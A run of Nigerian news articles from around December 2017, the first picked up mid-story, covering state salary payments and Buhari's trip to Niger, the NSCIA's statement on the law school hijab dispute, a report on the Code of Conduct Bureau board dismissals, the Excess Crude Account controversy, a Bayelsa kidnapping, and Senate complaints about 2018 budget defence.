Mr. Masari, however, said those expressing the fear may be doing so because of what happened in the past. He however, assured that Mr. Buhari cannot allow that to happen.

The Katsina governor also confirmed that most states have received the balance of the Paris Club loan refund from the federal government.

He also assured that all civil servants will be paid their entire entitlements before the end of the year as promised.

The governors two weeks ago met with the president and requested for the release of the money.

While assuring them of the release, Mr. Buhari asked the governors to ensure that they clear liabilities of salaries and pensions in their states before Christmas.

Mr. Masari on Monday said  by Christmas, everybody will be able to get his salary and whatever allowances are outstanding especially in the area of pension and gratuity.

He said in his own case, he has already paid civil servants their salaries to date.

He also said the state government has sufficient funds to settle all our pension and gratuity liabilities. We have the money, it is in the bank and I believe other states also have.

No state can have any excuse not to pay before Christmas, in fact celebrations have already started. It is my hope and prayers that all that have gotten the money have paid their workers, both salaries, allowances, pension and gratuity.

On the trip to Niger Republic, the Katsina governor said the Nigerien leader and the people of the country had shown their appreciation to the efforts being made by Mr. Buhari with regards to the progress and unity of the West African sub region and Africa as a whole.

It has been demonstrated, Nigeria has been appreciated and collectively, we believe the sub-Saharan Africa, especially this part, will unite and achieve two major issues: one, to conquer insurgency and also to improve the quality of life through economic activities. I think these two things are key for the region to move forward, he said.

Military might, Culture on display

Although Niger Republic acquired independence in 1960, the country had two years earlier, on December 18, 1958, been declared as a republic.

To this end, authorities in the country have been celebrating the day annually in different states of the country.

During this yearss event, which held in the state of Tahoua, guests were treated to military parade, display of military hardware and cultural procession.

President Muhammadu Issoufou also gave national honours to citizens at the event.

Apart from the host president, the occasion was witnessed by the President of Chad, Idris Derby; that of Burkina Faso, Roch Kabore; Malis Ibrahim Keita as well as President Mohammed Abdelaziz of Mauritania.

Mr. Issoufou gave each of the visiting presidents and Mr. Buhari a gift of a camel and a horse each.
The umbrella body of Nigerian muslims, the Nigerian Supreme Council for Islamic Affairs (NSCIA), has responded to the current hijab controversy rocking the Nigerian Law School.

In a statement sent to PREMIUM TIMES on Tuesday morning, the Deputy Secretary General of the organisation, Salisu Shehu, a professor, accused the Nigerian Law School of lawlessness and Islamophobia.

The group threatened nationwide protest and a fierce legal action should the law school fail to rescind its decision not to call the affected graduate, Firdaus Amosa, to the bar.

There is no doubt that Abdulsalam Firdaos Amosa has been victimized, humiliated and traumatised by the Nigerian Law School, the Body of Benchers and the Council for Legal Education on account of her faith, the statement said.

She has been denied of rightfully joining her professional colleagues just because of her religion. She has been exposed to ridicule and opprobrium by standing for her religious rights. It begs the question that she is not the only Muslim lady among those concerned as no one will stand for her when she appears before her Creator to defend the correctness and otherwise of her actions. We reiterate that she has not violated any law.

The NSCIA demands that the Federal Government, through the Ministry of Justice, call the Council for Legal Education and the Nigerian Law School to order so that they will not stoke religious crisis in the country.

Our Council patiently waits for what the Ministry will do as it puts other options on the table including litigation and nation-wide protests.

Those who think they can ride roughshod on the rights of Muslims just because their co-Christian colonialists did it successfully will have to wake up and realise that Muslims are equal stakeholders in this country.

READ FULL STATEMENT BELOW

STOP PRESS! HIJAB IS CONSTITUTIONAL

On the 13th of December, 2017, a young female Nigerian graduate of Law, Miss Abdulsalam Firdaus Amosa, was prevented from joining her colleagues for the momentous call to bar ceremony at the International Conference Centre, Abuja. Her only offence was that she wore a hijab under her wig. For this unpardonable crime, as it was deemed, she was wrongfully denied the opportunity of being called to the Nigerian bar as Barrister and Solicitor of the Supreme Court of Nigeria with her colleagues though she had passed all her exams both at the University and the Nigerian Law School.

The Nigerian Supreme Council for Islamic Affairs (NSCIA) views this unsavoury development with grave concern. It is the height of Islamophobia displayed by the authorities of the Nigerian Law School, the Body of Benchers and the Council for Legal Education who now willfully break the law. This is very unfortunate and shameful because those who are supposed to be teaching justice and fairness now fail woefully to be just and fair. With or without sentiments, by refusing to expose her hair in public contrary to her religious injunctions, Miss Abdulsalam has not broken any law. No law is superior to the Nigerian Constitution which is the grundnorm of Nigeria.

Basically, the Constitution of the Federal Republic of Nigeria guarantees Nigerians their freedom of religion. There is a constitutional basis that holds and upholds the use of hijab as a fundamental and constitutional right of Muslims in this country. According to Section 38, Subsection 1 of the Nigerian Constitution (as amended in 2011), Every person shall be entitled to freedom of thought, conscience and religion(either alone or in community with others, and in public or in private) to manifest and propagate his religion or belief in worship, teaching, practice and observance. Therefore, without equivocation, the constitutionality of hijab is incontrovertible.

Besides, there are many instances of judicial pronouncements on the unconstitutionality of denying Muslim ladies the right of using hijab. For instance, in suit no ID/424M/20004 concerning Abidemi Rasaq & ors V. Commissioner of Health, Lagos State, the Lagos State High Court ruled that a circular of the Lagos State School of Health Technology banning students from wearing hijab is unconstitutional. Similarly, in suit no CA/IL/49/2009 involving the Provost Kwara State College of Education Ilorin V. Basirat Saliu, the Appellate Court ruled that the use of hijab by female Muslims qualifies as a fundamental right under Section 38 of the Constitution.

It beggars belief that the Islamophobic posturing of the Nigerian Christian establishment is legendary even if this dates back to the Christian colonial past and its vestiges. The hatred for Muslims and Islam appears to be a virulent cancer that has spread across the body of those who use religion to oppress and deprive others of their religious rights.

For a country that has a majority Muslim population that is fully conscious of the grounds it had lost due to the Christian colonial rule and cultural imposition of the past, taking a lot of infractions against Muslims is not borne out of docility. The dignified taciturnity of Muslims in the face of oppression in Nigeria is borne out of the premium Islam places on mutual co-existence and peaceful living.

Those who make false appeals to the secular nature of Nigeria when the issue of Muslim rights is raised are guilty of paranoia, hypocrisy and myopia. We have maintained that Nigeria is a multi-religious country and that cannot be controverted. Those who are quick to drop the secular verbiage can afford to be flippant because the Christian system violently imposed on Nigeria by the colonial masters adequately provides for and serves their interests, certainly not the interest of Muslims.

While religious rights are being granted without any ado in countries where Muslims constitute negligible minorities in America, Europe and other parts of Africa, it is unspeakably ludicrous that Muslims are being denied, debased and violated in a country where they constitute a sizeable chunk of the population. It is the height of intolerance that rational and objective Nigerians know that any time Muslims demand their constitutional rights which the Christian colonial system had stripped them of, the infantile, reactionary and vociferous elements within the Nigerian elite and their brainwashed followers always cry wolf where none exists.

In the United States, female Muslim attorneys are granted their use of hijab as a piece of scarf on the head of a person doesnt harm anyone. In Britain, where the Nigeria legal system originates from, the English lawyers and judges since July this year have started to break away from the centuries-old tradition of horse-air wigs that many consider anachronistic, uncomfortable and expensive.

While the rest of the world is becoming progressive and pluralistic, the Nigerian religious bigots remain dogmatic, vicious and vindictive when issues concerning Islam arise.

By the way, there is even no sense in the obduracy of the wigs just like other costumes or uniforms that Nigerians willfully use to oppress one another in certain professions. Writing on the wigs, the Independent newspaper of the United Kingdom in a report published on September 18, 2017 noted that they are so old-fashioned, and so uncomfortable that even British barristers have stopped wearing them.

Our Nigerian Law School would rather be glued to the archaic tradition of the colonial past being jettisoned by the British themselves and punish a second upper graduate for wearing a headscarf that the Nigerian Constitution guarantees her than toe the path of rationality. Who legislated on professional attires that we cannot question when such attires are inconsistent with our values?

There is no doubt that Abdulsalam Firdaos Amosa has been victimized, humiliated and traumatised by the Nigerian Law School, the Body of Benchers and the Council for Legal Education on account of her faith. She has been denied of rightfully joining her professional colleagues just because of her religion. She has been exposed to ridicule and opprobrium by standing for her religious rights. It begs the question that she is not the only Muslim lady among those concerned as no one will stand for her when she appears before her Creator to defend the correctness and otherwise of her actions. We reiterate that she has not violated any law.

The NSCIA demands that the Federal Government, through the Ministry of Justice, call the Council for Legal Education and the Nigerian Law School to order so that they will not stoke religious crisis in the country. Our Council patiently waits for what the Ministry will do as it puts other options on the table including litigation and nation-wide protests.

Those who think they can ride roughshod on the rights of Muslims just because their co-Christian colonialists did it successfully will have to wake up and realise that Muslims are equal stakeholders in this country.

That the United States of America allows even female military personnel to use hijab and male Muslims to grow their beard as part of their religious rights is worthy of note. If Muslim female police officers in Britain that so desire use hijab without let or hindrance, what is the problem in Nigeria? What is wrong with the Islamophobic Nigerians who assume that Muslims must abandon their religion to co-exist with them in the Nigerian space? How does wearing hijab infringe on anybodys right in Nigeria? Enough is enough of this chronic hatred and bigoted intolerance! Yours is your religion and ours is ours.

For long, the Council has maintained its calm on issues concerning Muslims even when the victims are presented as oppressors. Some Christian leaders in this country misinformed President Muhammadu Buhari that his appointments were lopsided against them. We join them to call on Mr President to urgently examine the religious composition of his cabinet and other appointees with a view to determining the religious affiliations and rectifying the obvious imbalance against Islam. We insist that the assessment should also cover staff members of Ministries, Departments and Agencies, with Permanent Secretaries, Chief Executives, Board Members and Directors religiously profiled as they are now so that the picture of those who dominate others will be seen. We demand that this should be done with the result of the findings published. Muslims are neither blind nor unconscious of the undue advantage being accorded Christianity in public space but are alarmed that Islam is being falsely accused of domination.

Muslims have been groaning quietly in this country under the suffocating domination of our intolerant partners. The capacity to endure pains however has a limit. We endure a skewed and unbalanced system that grants Christians the right of worship without any hindrance on Sunday whereas some bigots would not grant their subordinates the concession to pray for just one hour on Friday. We condone the systematic subjugation of Muslims in the South, where Governors build big churches and cathedrals with public funds and air their banality on the television without any noise from the media. Yet, when a Muslim Governor is sighted in the mosque, the hypocrites would scream as if the unusual has happened.

When Nigerians chose to adopt the Red Cross, there was no whimper from Muslims but joining the Organisation of Islamic Conference (OIC) has been turned to a big issue by our noisy fellow Nigerians. Muslims remained calm when Nigeria sent an ambassador to the Vatican, even if the one in Italy could have been sufficient.

The mosques in the South are being demolished within and outside institutions of higher learning while Muslim minorities in the North like those of Tafawa Balewa in Bauchi State (just because the name will ring a bell) are banished from their communities by Christian militias. Court of Appeal granted the rights of Muslim students to build a mosque in the River State University of Science and Technilogy (RSUST) but they are denied till today while the vibrant Press remain silent.

Yet, Christians who make deliberate incursions into the heart of the North and dominate the socio-economic space there are quick to shout marginalisation just for the sake of attention. Crying wolf where none exists or raising a storm in a tea cup has been the official stance of CAN just because the media they use grew from the Church and are largely within their control.

This is last straw to break the camels back and it will be difficult for the Council to persuade Nigerian Muslims from taking these serial injustices against them again! Those whose stock-in-trade is to provoke Muslims by denying them of their God-given and constitutionally guaranteed rights should turn a new leaf. We are all Nigerians and we say enough of enough of Islamophobia and anti-Islamic bigotry!

We stand behind Abdulsalam Firdaos Amosa who acted within her constitutional rights and we insist that she must be called to the Bar and adequately compensated for the humiliation she was subjected to. Enough is enough!

Prof Salisu Shehu

Deputy Secretary General

NSCIA
President Muhammadu Buhari and his deputy, Yemi Osinbajo, breached the provisions of the constitution in the recent reconstitution of the Board of Code of Conduct Bureau (CCB), PREMIUM TIMES can report.

The duo also showed disregard for court processes by ignoring the pending suits on the dissolution of the former Board of CCB at the Court of Appeal and the National Industrial Court (NIC).

Mr. Buhari had, on November 29, forwarded the names of 10 nominees and copies of their curriculum vitae to the Senate for confirmation.

The nominees and their states of origin are Muhammad Isah (Jigawa State, North West) who will serve as chairman; Murtala Kankia (Katsina, North West); Emmanuel Attah (Rivers, South-South); Danjuma Sado (Edo, South-South); and Ubolo Okpanachi (Kogi, North Central).

The others are Ken Madaki Alkali (Nasarawa, North Central); S.F. Ogundare (Oyo, South West); Ganiyu Hamzat (Ogun, South West); Saad Abubakar (Gombe, North East); and Vincent Nwanli (Ebonyi South East).

The president, in the letter to the Senate requested it to expeditiously confirm the nominees, whose appointment he said was made in compliance with section 541 of the 1999 Constitution as amended and in pursuant to sections 1 (2) and (3) of the Code of Conduct Bureau Act LFN, 2004.

The nominees who are currently awaiting screening by the Senate are to replace Sam Saba (Chairman) from Niger State; Christy Ekoja (Benue); Chris Nwadinobi (Abia); Ibrahim Manzo (Jigawa); Ademola Adebo (Ondo); Stephen Bekefula (Bayelsa), all of who were controversially disengaged in June.

The new appointees, if confirmed, will also replace two others who retired from office after attaining 70 years  and another one who never reported when they were appointed in 2010.

The appointment of the 10 new members of CCB was earlier made in June by Vice President Yemi Osinbajo, then acting president, when Mr. Buhari was on sick leave in the United Kingdom.

A statement by Mohammed Nakorji, an assistant director (Press) in the SGF office on June 12, said both the chairman and members-designate would serve for the first term of five years when their appointment is eventually confirmed.

CONTROVERSIAL SACK

The former board was disengaged on June 14 via a single letter addressed to Mr. Saba.

Entitled Notification of Disengagement as Chairman of the Code of Conduct Bureau, with reference number SGF.19/S24C.3/Vol/192, the letter said, I write to inform you that the Acting President, Federal Republic of Nigeria, Professor Yemi Osinbajo, SAN, GCON, in consideration of the expiration of your tenure on 30th April, 2017 has directed that you disengage as the Chairman of the Code of Conduct Bureau.

The six (6) members whose tenure also expired after the statutory two (2) terms are also disengaged accordingly. Consequently, I am to request you to handover to the most senior officer in the Bureau pending the reconstitution of the Board of the Bureau.

May I have the honour to convey the Acting Presidents appreciation to you and the members for your service to the Nation during your tenures, as well as wish you all Gods guidance and best of luck in your future endeavours.

But PREMIUM TIMES investigation showed that the government erred in the sack of the board members, not only by violating the provisions of the constitution in relation to their disengagement but also in disregard of the court process.

For instance, it was discovered that at the time they were removed from office, none of the six members of the Board had attained the mandatory age of 70 years stipulated by the Constitution for their disengagement from service.

Besides, the constitution is silent on the specific number of years members of the CCB Board are to put in thereby invalidating the claim in their disengagement letter that their tenure expired after the statutory two (2) terms.

According to the Third Schedule, Part 1 of the Constitution:

This Code of Conduct Bureau shall comprise the following members 

(a) a Chairman

(b) nine other members

Each of whom at the time of appointment shall not be less than fifty years of age and subject to the provisions of sections 157 of this Constitution shall vacate his office on attaining the age of seventy years.

In other words, CCB board members are to leave office only when they reach the age of 70. However, should the Nigerian president choose to remove them from office before then, the constitution was specific on how they can be removed.

Section 157 (1) of the Constitution provides that Subject to the provisions of the subsection (3) of this section, a person holding any of the offices to which this section applies may only be removed from that office by the president acting on an address supported by two-thirds majority of the Senate praying that he be so removed for inability to discharge the functions of the office (whether arising from infirmity of mind or body or any cause) or for misconduct.

(2) This section applies to the office of the chairman and members of the Code of Conduct Bureau etc.

These provisions, PREMIUM TIMES learnt, were made to ensure the members of the board are immune from political pressure and interference from any sitting presidency and ensure the independence of the crucial anti-graft agency, the only one expressly mentioned in the constitution.

Our findings show that none of these constitutional provisions was adhered to by the Buhari administration. Apart from the issue of age, at no time did the Senate advise the president to remove any of the members.

Yet, against all known procedures in public service, the sack of the chairman and the five members was contained in a single letter addressed to the chairman (Mr. Saba) rather than to the individual members who were employed individually. No disengagement letter was given to the other board members as individuals.

HOW THEY WERE APPOINTED

Our investigation revealed after the outgoing CCB members were nominated by former President Umaru YarAdua, who could not formalise their appointment before his death in 2010. The succeeding administration of Goodluck Jonathan issued separate letters of engagement to them.

Even in 2014 when their appointment was renewed by the Jonathan administration because they had not reached 70 years, they were also issued separate letters of engagement signed by the then SGF, Pius Anyim.

Similarly shocking is that Mr. Buhari forwarded the names of the new nominees in November to the Senate for confirmation despite subsisting suits on the removal of the members of the former Board in both the Court of Appeal and the National Industrial Court (NIC).

The embattled former members of the CCB had, through their counsel, Chukwuma Ekomaru, filed an appeal at the Abuja Division of the Court of Appeal in May challenging an earlier judgement by the Federal High Court that the tenure of the chairman and members of the CCB was five years.

Justice Binta Nyako had delivered the judgement in a case instituted by two non-governmental organisations, Kingdom Human Rights Foundation International and Save Nigerian Group, challenging the Bureaus chairman and the board members over their tenure.

Both the president and the Attorney General of the Federation and Minister of Justice, Abubakar Malami, were joined as respondents in the suit.

They had also challenged their sack at NIC, which on August 29, issued a restraining order directing all parties to maintain status quo pending the determination of the matter.

The matter which came up last Thursday has been adjourned to January 11.

PREMIUM TIMES findings indicated that all the court papers were served on the government through Mr. Malami who on each occasion refused to enter an appeal.

LETTERS TO PRESIDENT, OSINBAJO

Apart from ignoring the constitutional provisions and the court process, Mr. Buhari also disregarded a letter of appeal written him on September 11 by the board members of the CCB to intervene in the matter.

In the six-page correspondence, the sacked members did not only plead for reinstatement but also asked the president to direct that all CCB matters regarding the CCB Board should be settled out of court considering the sensitivity of the nature of the functions of the CCB and the need to move expeditiously, yet in accord with good conscience, the war against corruption, ineptitude and immorality in the conduct of government business.

They also asked the president to direct that a new chairman and 4 new members be appointed to complete the number as provided by Part 1 Schedule 3 of the 1999 Constitution (as amended).

In other words, as expected by the constitution and practised by previous administrations, vacancies as a result of resignation (by age, death or personal reasons) should be filled by the Buhari administration.

The embattled board members also wrote twice through Mr. Ekomaru to Mr. Osinbajo, pleading for his intervention.

In the first letter dated June 15, Mr. Ekomaru referred the then acting president to the SGF statement announcing the appointment of the new board members and reminded him about the pending appeal filed by the sacked five members on May 3 following the April 28 judgement delivered by Mrs. Nyako of the Federal High Court.

The lawyer, who availed Mr. Osinbajo with the court documents, further told the then acting president, a Senior Advocate of Nigeria, SAN, that both the president (Buhari) and the AGF were served with the court documents because they were respondents in the case.

We humbly state that it (appointment of new Board members) is putting the Court of Appeal in a state of helplessness and rending the appeal totally regulatory, for the process of appointing new Chairman and members of the Code of Conduct Bureau to commence while the appeal is pending, Mr. Ekomaru said.

Insisting that the appointment of new members to the CCB Board was untidy and hasty Mr. Ekomaru prayed the acting president to respect the pendency of this matter at the Court of Appeal, Abuja Division.

In the second letter dated June 16, the lawyer said the disengagement letter is contrary and inconsistent with the letter of appointment of our clients.

The lawyers referred Mr. Osinbajo to the provisions of the constitution, notably paragraph 1, Part 1A of the Third Schedule of the constitution, section 157 of the constitution which specify the appointment and removal, respectively, of the members of the CCB.

The counsel also drew Mr. Osinbajos attention to the Vote and Proceeding of the Senate confirming their appointment.

Mr. Ekomaru recalled that the letter of disengagement of the five members stated that their tenure expired on April 30, 2017 after the statutory two terms and that their letter of appointment took effect on April 30, 2010.

He therefore argued that assuming without conceding that our clients are entitled to two terms of five years, we state, with all humility that the tenure of office of our clients are still subsisting as the said tenure will expire on 30th April, 2020.

He added, It is urgent and very apt that we point out this obvious error in calculation so that it can be rectified by withdrawing the above mentioned letter of disengagement.

Your Excellency, we know it is human to err and that is why we have taken this early step to plead that our clients petition be considered.

It will be most regrettable if this matter results in litigation when in fact immediate steps can be taken to address the embarrassment and inconveniences caused by the letter of disengagement issued to our clients.

Our Clients plead that you reconsider their case as they are employees whose employment are with a statutory flavor.

Mr. Osinbajo, in a letter dated July 11 signed by the Deputy Chief of Staff to the President, Ade Ipaye, acknowledged receipt of the letters and that the issues raised were receiving consideration.

I am directed by His Excellency, Prof. Yemi Osinbajo, SAN, Acting President, Federal Republic of Nigeria to acknowledge receipt of your letters dated 15 June and 16 June 2017 on the above stated subject and inform that issues raised therein are receiving necessary consideration, the letter said.

Truly so. In another letter to Mr. Malami on June 15, the then acting president asked the minister to take necessary action on the matter.

The letter entitled Re: Removal of the Chairman and Members of the Code of Conduct Bureau, and signed by the Deputy Chief of Staff to the President, Ade Ipaye, reads I am directed by His Excellency, Prof. Yemi Osinbajo, SAN, Acting President, Federal Republic of Nigeria, to forward the attached letters Reference A and B) from Chief Chukwuma Ekomaru, SAN, on the above subject for your necessary action.

SEEK SENATES ACTION

Mr. Ekomaru also petitioned the Senate President, Bukola Saraki, on the matter in two letters dated June 15.

In the letter to which he attached court documents and appointment letters, the lawyer gave a detailed explanation as he did in the ones to Mr. Osinbajo.

He asked the senate president to draw the attention of Mr. Acting President to the suit at the Court of appeal, Abuja Division and the powers of the Senate as stipulated under Section 157 of the 1999 Constitution on the removal of Members of the Code of Conduct Bureau.

Not done, the sacked CCB board members approached the NIC to challenge their appointment.

Similarly, upon hearing of the submission of the new nominees by the president to the Senate, J.U.K Igwe, one of the three lawyers to the CCB members at NIC (the others are Ahmed Raji and Onyechi Ikpeazu), petitioned the Senate President on November 30 urging him that In the interest of rule of law and justice, that the confirmation of the 10 nominees to the Board of the Code of Conduct Bureau be stayed by the Senate pending the final outcome of the decision of the National Industrial Court on the matter.

It is however not clear if the Senate will act on the presidents request to confirm the new nominees when it resumes plenary on Tuesday or bow to the petitions.

The rules of the upper legislative chamber forbids it from discussing any matter before the court.

When contacted, the Chairman of the Senate Committee on Ethics, Privileges and Public Petitions, Sam Anyanwu, said he would not comment on the matter because it was in court.

I will not comment on such matter because the matter is in court and it would amount to subjudice, Mr. Anyanwu told PREMIUM TIMES by phone.

NEW POLITICAL NOMINEES

The CCB is central to anti-corruption efforts not just because it is listed in the constitution, but also because all public officials are mandated to submit the asset declaration forms to it.

It is for this reason that the constitution tried to make its board members immune from political pressure by guaranteeing them tenure of office until they reach 70.

However, the new nominees for the CCB are believed to be not only linked to current government officials but also card carrying members of the ruling APC.

A source in the presidency informed this newspaper that most of the new nominees from the north are Mr. Malamis personal friends.

It was gathered that the chairman-designate, Mr. Isah, works in Mr. Malamis law firm in Kano and has indeed represented the minister at some official functions since his (Malami) appointment in 2015.

It was further learnt that against the spirit of the constitution, many of the new nominees are members of the ruling All Progressive Congress, APC.

According to our source, the nominee from Kogi was the states accountant general while the Ogun nominee is a former member of the House of Representatives.

Although the reason for the choice of the nominees is not known, there are allegations that some top government functionaries are desperate to hijack the Bureau to hunt perceived political enemies.

But another source in CCB hinted that the sacked members are independent-minded and were not popular within the system because of some reforms they introduced during their tenure.

Part of the reform the CCB members were said to have introduced is known as Standard Operational Procedure (SOP) to ensure the 29-year-old Bureaus efficiency in the fight against corruption.

The SOP, our source claimed spells out guidelines for the operations of the agency.

According to the Official Gazette of the Federal Republic of Nigeria dated January 30, 2017, the SOP, was established to prevent and control abuse of office, illegitimate and unbridled acquisition of wealth by public officials through dedicated enforcement of the Code of Conduct for Public Officials and other anti-corruption provisions of the constitution.

It also states, among other things, that the SOP, will enable the CCB to key into Governments anti-corruption programme through the implementation of the provision of the Constitution, the Act and other relevant international instruments, including the United Nations Convention Against Corruption (UNCAC), African Union Convention on Preventing and Combating Corruption (AUCPACC) and the ECOWAS Protocol on the Fight Against Corruption Act of which Nigeria is signatory.

This newspaper gathered that some senior directors of the CCB led by the Acting Secretary, A.F. Kolawole, after a meeting on April 3, wrote a letter addressed to Mr. Saba, opposing the SOP.

In the three-page letter, signed by 21 of them, the staff demanded that its implementation be stood down following observed inconsistencies with the provision of the Constitution of the Federal Republic of Nigeria 1999 (as amended), subsisting Acts passed by the National Assembly e.g. Procurement Act, Annual Appropriation Acts etc, Policy Directive of Government on Public Service Rules, Financial Regulations and other related Statues and Regulations.

The staff prayed that it was their view that CCB-SOP should not take over the power of the Attorney General of the Federation in instituting proceedings or discontinuing cases in established Courts and Tribunals.

Mr. Malami could not be reached to comment on this story as he failed to pick repeated calls to his mobile telephone on Thursday.

The minister did not also respond to a text message requesting him to react to the allegations.

Presidential spokespersons, Femi Adesina and Garba Shehu, could not be reached to comment on this story on Thursday.

While Mr. Adesinas mobile telephone was switched off, Mr. Shehu did not pick calls to his phone.

Similarly, calls to Laolu Akande, the spokesperson to Mr. Osinbajo, did not go through.

PAST LEGAL BREACHES

This is not the first time the president would be accused of breaching the law in his appointments.

Earlier this year, Mr. Buhari had named Dikko Abdulrahman as new DG of National Pension Commission (PENCOM) to replace Chinelo Anohu-Amazu, whose tenure was truncated midway. The tenure of the PENCOM DG is five years subject to renewal.

Mrs. Anohu-Amazu, who hails from Anambra State in the South-east geo-political zone, had spent only two years and five months before her removal.

The appointment of Mr. Abdulrahman who hails from the North-west zone, was reportedly in breach of the PENCOM Reform Act, 2014.

According to Section 21 (2) of the Act, In the event of a vacancy (for the chairman, DG or other members of the board), the President shall appoint a replacement from the geo-political zone of the immediate past member that vacated office to complete the remaining tenure.
The Buhari administration on Tuesday said the $1 billion Excess Crude Account fund would be used for more than the fight against Boko Haram.

The planned expenditure was made public by Abdulaziz Yari, the chairman of Governors Forum, who said all the state governors had agreed to release the money to the federal government.

Mr. Yari said although President Buhari and several administration officials, including military chiefs, had proclaimed victory in the eight-year long battle against insurgency, a substantial amount of budget was still required to tackle pockets of terrorists around the northeast.

But Governor Ayo Fayose swiftly opposed any withdrawal from excess crude account to fight Boko Haram.

While acknowledging the viciousness and urgency of the dreaded sect, Mr. Fayose said the ECA had already been overdrawn with barely $2 billion left in it.

He also argued that other states across the country require attention for economic situations that are nearly as severe as those afflicting the people of northeast.

Mr. Fayose also said the timing and the circumstances surrounding the $1 billion indicate that Mr. Buhari intended to warehouse it for his reelection bid in 2019, saying he was never a part of the discussion to earmark it.

The planned withdrawal has also been a subject of political bickering between the ruling All Progressives Congress and the opposition Peoples Democratic Party.

While the opposition party alleged attempted fraud on the part of the administration, the ruling party said all governors, including 11 from PDP, approved the fund.

Providing further explanation about the controversial $1 billion on Tuesday, Vice President Yemi Osinbajo said the money was not meant for Boko Haram war alone.

It was on account of the security summit that the governors at the Governors Forum subsequently decided that they would vote a certain sum of money, which has become somewhat controversial, the $1bn, to assist the security architecture of the country.

It was to assist all of the issues in the states, including policing in the states, community policing, all of the different security challenges that we have, Mr. Osinbajo said at the ongoing retreat of secretaries to the government at state and federal levels in Abuja.

This is the first time the administration would be explaining that the money is not intended for anti-Boko Haram efforts alone.
Gunmen, suspected to be kidnappers, have abducted the Principal of Government Craft Development Centre in Ayakoro, Egele Jack, and the wife of the traditional ruler of Ayakoro,Tina Inegbagha, after a two-hour siege to the community.

Ayakoro community is in Ogbia Local Government Area of Bayelsa State. The former President, Goodluck Jonathan, is from the same local government. .

A member of the monarchs family, Majesty Inegbagha, who confirmed the development in Yenagoa on Tuesday, said the incident occurred on December 16.

He said Mr. Jack hails from Ekeremor Local Government Area of the state.

Speaking at his palace, the paramount ruler, Righteous Inegbagha, appealed to the state government and security agencies to assist in ensuring the release of his wife and the school principal.

He also appealed to the kidnappers to set his wife free and prayed for her safe return.

Mr. Inegbagha said the gunmen who numbered more than seven, came in a twin engine speed boat. He said three of the hoodlums were armed with AK 47 rifles, while the others carried machetes and other weapons.

The gunmen laid siege to the community for over two hours and carried out their nefarious activities  robbed and made away with cash and other valuables.

Efforts by residents to salvage the situation proved abortive as they were armless and were threatened to submission as the kidnappers brandished their weapons and threatened to shoot any resistant person, the monarch said.

Narrating his ordeal with the gunmen, Ogidi Inegbagha, the first son of the monarch, said the gunmen broke through the window in spite of his shouts, only to be accosted with two guns pointed at him.

They asked me, where is His Highness? Where is his Highness? I told them that he had traveled. Then they asked me where is he keeping his money? And I told them I didnt know.

Hence they started beating me mercilessly with their guns and machetes. When my mother heard the noise, she came out through the parlour door not knowing that the residence was seized by kidnappers.

They asked us to lie down flat facing the floor at gunpoint and forced my mother to lead them to my fathers private room where they searched and scattered documents looking for money.

They also carried along with them the generator belonging to the Doctors Quarters kept at the Palace.

As they were going with my mother, I followed them but they threatened to shoot me if didnt go back while they took my mother to unknown destination, Mr. Ogidi said.

The police commissioner in the state, Asuquo Amba, told journalists that the incident was being investigated.

Mr. Amba said following an upsurge in violent crimes in Bayelsa, the Inspector General of Police, Ibrahim Idris, sent a special squad to compliment the efforts of the state Police Command in combating crime.
Nigerian Senators on Tuesday took turns to condemn the attitude of some ministers and heads of Departments and Agencies, MDAs, over poor preparation and defence of their 2018 budgets.

The lawmakers specifically frowned at the absence of some of the officials invited, non-preparedness of some and shoddy presentations by others.

They also condemned the attitude of some officials who showed up at budget defence without the required documents.

The senators said that their interaction with the executive arm over the past two weeks has shown a poor implementation of the 2017 budget; hence the decision that the 2018 appropriation would not be passed before the end of the year as requested.

The Senate on December 5 suspended its plenary for two weeks to enable MDAs defend their budget before committees considering the 2018 appropriation bill.

The Senate President, Bukola Saraki, while announcing the recess had warned heads of MDAs to avoid unnecessary travels in order to honour invitations by Senate committees.

However, the lawmakers said the experiences of the committees were disheartening.

Coming under Order 42 and 45 of the Senate standing order, Senate Leader, Ahmed Lawan, opened the debate on the budget consideration.

When we suspended plenary for two weeks, it was with the understanding that the various committees of the Senate will work and the product of that work will have given us an insight into meeting our pledge to pass the national budget before the end of the year, he said.

But from what I have seen, I know that we might run into some troubled waters. And if you remember, Mr. President has made it very clear that 60 per cent of what was proposed in the 2017 budget will be carried over to the 2018 budget, the report we have seen so far is showing that nothing like that has happened.

Mao Ohabunwa, Abia-PDP, said the heads of agencies failed to show a correlation between the 2017 and 2018 budgets including the percentage roll over.

First and foremost, we have the public procurement act that says that the MTEF must be presented three or four months before the budget because that would lay the assumptions that the budget will be predicated upon. But unfortunately, we jettisoned that.

Two weeks ago, we decided to suspend plenary to look at the budget. And if you ask every chairman of every committee, I invited two, the budget performance today as we speak is below 20 per cent. Even from the presentations of these agencies, you can see that they are not prepared. There is no correlation between 2017 and 2018 budgets. We try to panel beat and see if we can manage, but there was nothing we could do. And there was no roll over from their presentations. So, I think we are playing sir.

Matthew Uroghide, Edo-PDP, in his submission said the budget consideration should not be rushed but well scrutinised.

The budget of 2018 is already bedevilled. If you look through the performance of 2017 as presented by some of the MDAs, there is really nothing to present. For personnel expenditure many of them are still complaining that what was appropriated to them is not enough. Overhead of 2017 is worse as capital expenditure, so that many of the MDAs were not working on daily basis.

Every consideration of 2018 budget should be put at bay because this executive is not serious. If this executive is serious about 2018 budget, let them give us information about capital expenditure.

Similarly, Samuel Olamilekan, Ogun-APC, said the 2017 budget had underperformed, against President Buharis promise.

It is unfortunate that the set target to pass this budget before the end of the year is not feasible. How can we consider 2018 budget without knowing the performance of 2017 budget? Its an aberration and if you look at the documents presented by these MDAs, the facts are there, there are no clear cut performance for 2017 budget to compare with the 2018 that they are proposing.

What we have before us does not show us that this executive is ready for this budget to be passed. The 2017 budget has not performed anything. There is need for us to be in hurry.

Last week, it was in the paper that one of the ministers was asked to be excused because he is not prepared. Even the documents for them to consider the budget, he doesnt have the documents. So, on what basis will the committee work.

Look at the crisis that surrounded the MTEF. Theres unseriousness on the part of the economic team of the president, if we cannot have the MTEF three to four months before the budget.

He asked the Senate to re-invite the Ministers of Finance, Kemi Adeosun and Minister of Budget and National Planning, Udoma Udoma to explain the performance of the 2017 budget.

The Kogi West Senator, Dino Melaye, accused the executive of not remitting over N1.1 billion generated from stamp duty and NNPCs internally generated revenue.

There is no relationship between 2017 and 2018 budget. There is an outstanding of over N1.1 billion stamp duty that has not been remitted into federation account yet he (Buhari) took Eurobond of $5.5 billion. We wont need that if these funds were remitted.

NNPC is supposed to pay over N300 billion into the federation account, no kobo was paid by NNPC in 2016, none was paid in 2017 and we say we are fighting corruption.

